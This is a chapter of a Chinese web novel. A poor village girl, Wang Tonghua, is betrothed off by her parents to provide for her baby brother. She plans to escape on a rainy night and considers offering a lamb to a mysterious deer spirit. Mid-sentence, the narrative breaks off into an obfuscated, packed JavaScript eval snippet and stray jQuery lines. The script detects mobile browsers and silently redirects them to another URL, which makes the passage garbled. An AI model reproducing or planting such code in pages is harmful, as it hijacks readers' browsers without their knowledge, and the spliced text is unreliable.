娘生下孩子的第二天，就下地做活了。


    他们必须一刻不停地在田地里劳作，才勉强能从地里刨出足够的粮食交税和吃饱。王桐花七岁那年家里欠收，爹咬牙找村长借了粮，直到王桐花十岁才完全还清。期间，娘流产了一次。


    在村里，王家不算最坏的家，王桐花不算最不幸的女孩。更不幸的女孩来不及说话就沉下了河塘。


    大家从不聊起那些生下来第二天就消失不见的孩子。


    那些孩子也从不会有第二种性别。


    王桐花艰难地提起半桶水。说不准她提起的是某个婴孩的魂灵，所以才这么沉重。


    天还没亮，但王桐花对这条路很熟，没有光也能走。她宁愿早起多跑几趟，水打得太多更容易摔，她摔了没什么，要是桶坏了就糟了。


    打完水，娘招王桐花过去。她捧起王桐花的手，翻看上面的老茧和伤口。


    王桐花喜欢这样。她目不转睛地盯着娘，看娘梳拢的鬓发，垂下的眼眉。


    “桐花，都长这么大了。这些年，苦了你。以后会好的。”


    闻言，不详的预感在王桐花心中蔓延。


    她摇头解释：“不苦，有娘和姐姐，我不觉得苦。有三妹，我不觉得苦。我，我会打水，会做饭，会编草鞋，会洗衣服，会——”


    娘的目光很哀伤。


    “我知道，你是个懂事的孩子。”


    王桐花不觉得娘的手温暖了。


    陷阱。


    王桐花无能为力地趴在蛛网上，蜘蛛无可阻挡地挪移过来。蜘蛛后面是爹钉子一样的眼睛。


    “你今年十二了。你大姐跟王大力他们家订下了，你也是时候了。”


    猪出栏的时候吗？王桐花在心里接话。


    “王大他们家的二儿子王牛，十岁。你不是认识他吗？那也是个好孩子，牛犊一样。”


    和王牛打过架也算认识吗？王桐花在心里反问。


    “你知道，家里困难，村里大家都困难，出不起什么嫁妆聘礼。等你姐出门，你就去王大家吧。毕竟你弟弟，哎，男孩子也要娶媳妇的。家里真的养不起这么多人了。”


    那为什么要生弟弟？为什么弟弟要娶媳妇？为什么要把姐姐和我赶走？我们吃得从来不多。


    王桐花咬着牙不说话，任由愤怒的火焰舔舐心脏。


    “替爹娘想想，替弟弟想想，好吗？我知道，你是个懂事的孩子。等村长做个见证，这事儿就算定下了。”


    懂事果然是坏事。你们都不替我着想，我为什么要替你们着想。我的想法对你们来说从来都不重要。


    王桐花闭上眼睛，用力想抽回自己的手，却被娘紧紧握着，没能成功。


    从来没有选择。从来没有不愿意。从来只有……


    “我知道了。”王桐花没有哭，眼泪只对在乎你的人起作用。


    娘紧绷的神情放松下来，王桐花得以收回自己的手。


    “养了你这么久，你该知足。”爹丢下这么一句话，扛着锄头出去了。


    娘抚摸王桐花的头，没再说什么。


    王桐花偏头拒绝这种亲近，她说：“娘，我猪草还没打呢。”


    “……”娘嗓子里发出一声抽噎，“嗯。去吧。”


    王桐花提起背篓和柴刀出去了。


    她其实很讶异。他们就这么轻松地放她出门了？不怕她跑？


    王桐花走出一截路，回头望自己住了十二年的小小房子。


    多么小的一间房子啊。所以只装得下弟弟一个孩子。三妹早晚也会被赶走的。会被爹和弟弟吃掉。奶奶，妈妈，姐姐，自己，妹妹，弟弟的未来的媳妇，都是一样的，通通被吃掉。


    爹和弟弟吃了这么多，也没吃成满嘴流油的胖子。他们的骨头只榨得出草料和石籽。


    爹和弟弟肯定也被什么东西吃掉了。不过，王桐花还不知道吃他们的到底是个什么东西。


    那肯定是，比蛇更狠毒，比老虎更庞大，比夜晚更幽深的东西。


    王桐花转头进了山。


    她得跑。但不是现在。她没有自信比大人更了解这座山，所以她得找到更合适的时机。


    那会是一个所有人熟睡的深夜，一个没有月亮的雨夜。大人会看不清脚下的路，狗的嗅觉在雨水里失灵。


    王桐花则会在隐蔽而熟识的路线上奔跑。


    她会找到这样一条路，这样一个晚上的。在那之前，唯有忍耐。


    王桐花躬身打起猪草，一茬一茬的绿意被她拢在背篓里。


    ……她不要做一生沉默的野草。


    如果草会说话。它就会尖叫。如果草有腿。它就会逃跑。如果草只是草，它就只能等待一把屠刀！收割它的刀！


    王桐花咬紧牙关，又割下一茬野草。


    野草乖巧地待在她的手里。


    她叹口气，把草撇进背篓。


    就在此时，幽微的鹿鸣声由远而近地一声声响起。


    是娘生产那天，王桐花听过的鹿鸣声。


    那根变成黑水的白毛。


    那片月下的湖泊幻象。


    卷土重来。


    黑色的潮汐自森林深处涌来，静默而汹涌，一个浪打来，把王桐花扑倒。


    细碎的声音呢喃，弥漫：“晚上来。有月亮的晚上来。下雨的晚上来。带上祭品，来，换取一个祝福。”


    “来。”


    “来。”


    “来。”


    声音渐息，潮水消退。


    鹿鸣也远去。


    草茬透过薄薄的布料扎着王桐花的皮肤，唤起轻微的痛意。


    周围现在看起来一切正常。


    但是，刚才那是什么？


    王桐花把柴刀握得更紧。


    要相信吗？也许那是引诱人的怪物。


    会吃掉她！


    但是，其他人也会吃掉她。


    她真的能逃走吗？被抓到的话，她会怎么样？逃走之后又能去哪里呢？别的地方她能待得住吗？


    ……


    反正，都是要等一个雨夜吧。


    在那之前，她还是可以先找一条合适的逃跑路线。


    王桐花重新站起来，心神不宁地继续干活，直到背篓满溢。她背起背篓，一步步向家走去。


    “二丫！”


    是刘婶。


    刘婶不由分说地接走王桐花的背篓背上。


    “你爹去村长那儿了，你知道吗？”


    “我知道。”王桐花尽量保持冷静，她特别不希望在刘婶面前掉眼泪。


    “你就是太懂事了！由着他们这么欺负你！要是你娘能管事儿，她肯定不会——”刘婶瞥了眼王桐花绷紧的嘴角，语气松快了些，“桐花。日子都是自己过的，幸福都是自己找的。不要替别人懂事，人有时候自私点儿才能过得好。”


    王桐花飞快地抬头，不成想正跟刘婶的眼神对上。她又飞速低下头。


    刘婶却笑起来。


    “好了，二丫，我也不多嘴。我知道你是个有主意的。”


    王桐花慢半拍才接上话：“我知道的。谢谢你，刘婶。”


    “嗯。我一直希望有个你这样的女儿。”刘婶伸手摸王桐花的头，宽大温暖的掌心差点让王桐花眼眶又红了。


    刘婶也过得难。她生了第二个儿子之后，就不能再生了。村里常有人说她的闲话。


    有时候，王桐花很庆幸刘婶没有女儿。只有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024976|194360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这样，她才能分得刘婶对自己的几分关爱。


    她有时候甚至庆幸刘婶不能生。


    所以，王桐花早就成为自私的人。刘婶的爱护时刻刺痛她的心。


    她不敢让刘婶知道自己这么坏。她不能心安理得地沐浴刘婶溪流般的目光里。


    在刘婶发起的漫无边际的对话里，回家的路快走完了。


    刘婶把背篓交还给王桐花，冲她挥手道别。


    王桐花也挥手回应。


    一进家门，一股家里从未有过的膻味就传过来。


    姐姐和妹妹正围着一头小羊。


    见到王桐花，姐妹俩高兴地招手：“快来看，这是爹今天抱回来的。”


    王桐花放下东西，也颇感新奇。小羊看起来很可爱，她也想和小羊玩！


    “你回来了，桐花。这是王大家送来的羊。再过一阵，我们家就连牛都要有一头了。”娘抱着弟弟，笑意盈盈，脸上的皱纹温和地舒展开。


    王桐花的笑容僵在脸上。王兰花的笑意也淡了。


    “桐花，还愣着呀？不摸摸吗？”王兰花很快重新绽放出笑容。


    呆三妹又吹起一个鼻涕泡，伸手向王桐花索要拥抱。


    王桐花再也笑不出来。


    “你姐姐要为家里带来一头牛”，“等你姐出门，你就去王大家吧”，“王大家送来的羊”……


    奶奶说的话、妈妈说的话搅和在一起，绞成一条系在脖颈的绳子，越收越紧。


    “养了你这么久，你也该知足。”


    绳子猛地将王桐花提起，把她吊在黑暗里，窒息感将她侵袭。


    没有时间了。


    动弹不得的王桐花转眼看着白毛卷卷的小羊，思索着神秘的鹿鸣。


    这正是合适的祭品。


    这个念头一冒出来，那根绳子就放松了。


    她的双脚重新落回大地，空气争先恐后地涌进重获自由的喉管。


    王桐花开心地笑起来。她先拥抱王棉花，擦去她的鼻涕。又搂住小羊，摸它绵密的绒毛。


    “去看看弟弟吧，弟弟也很可爱。”姐姐笑着说，竟没有丝毫怨恨。


    所以自己真的是个自私的人啊。王桐花再次确认了这一点。


    她不觉得那团肉有什么好看的。但是她点头应声，站起身，小心翼翼地从娘手里接过那个襁褓。


    婴儿皱巴巴的，一到她手里就发出惊天动地的哭声。


    她手忙脚乱地摇晃襁褓，无济于事。娘不得不从王桐花手里夺回自己的孩子。


    王桐花刻意露出手足无措的神色。王桐花从来不晓得原来自己对脸部肌肉的掌握如此高深。


    “唉，你去忙吧，二丫。”娘轻声细语地哄着大闹不止的婴儿，“不哭不哭。坏姐姐走开，乖宝宝不哭。乖，乖，乖乖儿，最聪明了，最可爱了。”


    王桐花没有马上去做活，她问姐姐：“爹呢？”


    “名字！”三妹大声抢答。


    姐姐安抚三妹，说：“爹去找先生给弟弟起名了。”


    “先生！”


    “对，先生。人家可是识字的先生。”姐姐对三妹说话，“棉花的名字也不普通。听说棉花可是宝贝，可以用来做冬衣。穿上它就不怕冬天了！”


    王桐花没有说话。她几乎要忍不住露出愤怒的表情。


    “王桐花，还不进来帮忙？”奶奶拖长的声音又在叫她了。


    “来了，奶。”王桐花放松对表情的钳制，恢复平时面无表情的姿态。


    忍耐。


    忍耐。


    只要，等一场雨。


    当天，爹带回来一个名字，“阳升”。


    随着这个名字一起来的，是一场雨。